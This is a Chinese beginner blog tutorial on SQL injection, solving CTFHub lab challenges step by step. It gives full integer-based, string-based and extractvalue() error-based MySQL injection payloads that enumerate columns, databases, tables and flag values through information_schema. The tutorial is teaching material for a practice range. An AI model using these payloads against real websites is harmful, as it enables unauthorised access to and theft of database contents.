第一天-SQL注入

是很简单的知识,大佬勿喷

1.整数型注入

整数型注入判断条件: 1 and 1=1 回显正常,1 and 1=2 回显错误 基本可以判断为整数型注入。
接下来以简单的题目为例,靶场为CTFHub技能树-Web-SQL注入部分

1
1 and 1=1 & 1 and 1=2

判断为整数型注入,接下来判断列数

1 order by 1
1 order by 2
1 order by 3

1 order by 3时无回显,因此列数为2
当然我们也可以使用union来判断列数

1 union select 1
1 union select 1,2

1 union select 1,2时有回显,也可以判断出列数为2
接下来通过database函数查询数据库名,

-1 union select 1,database()

这里id为-1的原因是回显只有一条,因此需要让前面的查询返回不了数据
接下来查询数据表,在MySQL5.0以上的版本有一个名为information_schema的数据库里面存放了所有数据库的信息,比如表名、列名等,我们可以通过它来查询sqli库的表名

-1 union select 1,table_name from information_schema.tables where table_schema=’sqli’

这里返回了sqli的一个数据表flag,但有时候一个数据库不一定只包含一个数据表,我们可以通过limit函数指定输出第几个,也可以用group_concat()将多条数据组合成字符串输出。这里使用group_concat()

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’sqli’

这里输出了这个数据库两个表的名称,接下来查询列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=’sqli’ and table_name=’flag’

知道了所有信息后,我们可以查询flag了

-1 union select 1,group_concat(flag) from sqli.flag

2.字符型注入

判断条件:1′ and ‘1’=’1 返回正常,1′ and ‘1’=’2 返回错误

1
1′ and ‘1’=’1
1′ and ‘1’=’2

判断为字符型注入,接下来我们就需要解决后面引号的问题
可以通过在最后面加上’;#’的方式解决,’;’代表语句结束,’#’可以将后面的引号注释掉
然后其他和整数型基本一样

1′ order by 3;#
-1 union select 1,database();#
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’sqli’;#
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=’sqli’ and table_name=’flag’;#
-1 union select 1,group_concat(flag) from sqli.flag;#

3.报错注入

只显示查询成功或者失败

我们可以通过报错注入得到结果,下面介绍利用extractvalue()函数报错注入的办法,语法如下:

extractvalue(XML_document, XPath_string);

第一个参数XML_document为String格式,表示XML文档对象的名称。第二个参数Xpath_string表示Xpath格式的字符串。

extractvalue()函数的作用是从目标XML中返回包含所查询值的字符串。当第二个参数不符合Xpath语法时,会产生报错信息,并且将查询结果放在报错信息内。该漏洞在MySQL版本号大于5.1.5时存在。

下面进行实战。

1 or extractvalue(1,concat(0x7e,(SELECT database()),0x7e))
1 or extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema=’sqli’),0x7e))
1 or extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_schema=’sqli’ and table_name=’flag’),0x7e))
1 or extractvalue(1,concat(0x7e,(SELECT group_concat(flag) from sqli.flag),0x7e))

这里取出的Flag并不完整,是因为extractvalue()函数的最长报错为32位,可以使用字符串截取函数获取剩下的字符

1 or extractvalue(1,concat(0x7e,substr((SELECT group_concat(flag) from sqli.flag),32),0x7e))
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇